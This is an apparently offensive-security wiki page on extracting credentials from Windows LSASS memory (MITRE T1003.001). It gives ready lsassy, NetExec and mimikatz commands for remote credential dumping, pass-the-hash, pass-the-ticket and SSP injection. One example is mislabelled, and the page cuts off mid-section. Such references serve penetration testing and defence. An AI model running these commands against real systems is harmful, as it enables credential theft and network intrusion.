LSASS secrets

MITRE ATT&CK™ Sub-technique T1003.001

Theory

The Local Security Authority Subsystem Service (LSASS) is a Windows service responsible for enforcing the security policy on the system. LSASS hosts security-related services such as :

  • AuthN SSPI: An SSPI API, allowing applications to use network security protocols

  • SAM: Interface for the SAM database.

  • Vault: Allowing to manage credentials in the Windows Credential Manager.

  • Audit: Enforced audit policy to generate audit records in the security event log.

  • Key Isolation: Provides key process isolation to private keys and associated cryptographic operations

  • EFS: Allow to perform some cryptographic operations for File encryption

  • DPAPI: Data Protection API Interface for the CryptAPI library, allowing to protect data.

LSASS services are reachable trough RPC

Practice

Dumping LSASS Memory

LSASS operations lead to the storage of credential material in its process memory. With administrative rights only, this material can be harvested (either locally or remotely).

Lsassy (Python) can be used to remotely extract credentials, from LSASS, on multiple hosts. As of today (22/07/2020), it is the Rolls-Royce of remote lsass credential harvesting.

  • several dumping methods: comsvcs.dll, ProcDump, Dumpert

  • several authentication methods: like pass-the-hash (NTLM), or pass-the-ticket (Kerberos)

  • it can be used either as a standalone script, as a NetExec module or as a Python library

  • it can interact with a Neo4j database to set BloodHound targets as "owned"

# With pass-the-hash (NTLM)
lsassy -u $USER -H $NThash $TARGETS

# With plaintext credentials
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS

# With pass-the-ticket (Kerberos)
lsassy -k $TARGETS

# NetExec Module examples
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd

Recovered credential material could be either plaintext passwords or NT hash that can be used with pass the hash (depending on the context).

Security Support Provider DLLs

We may abuse security support providers (SSPs) to injected into LSASS.exe process custom SSP DLLs. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

We can directly inject SSP DLLs into memory. It prevent us from editing registries but using this approach, it will not persist accross reboot like with this method.

Mimikatz support in memory SSP DLL injection to the LSASS process.

mimikatz# privilege::debug
mimikatz# misc::memssp

Alternatively, we may modify LSA Registry keys to add new SSPs which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called :

pageSecurity Support Provider DLLs

References

Last updated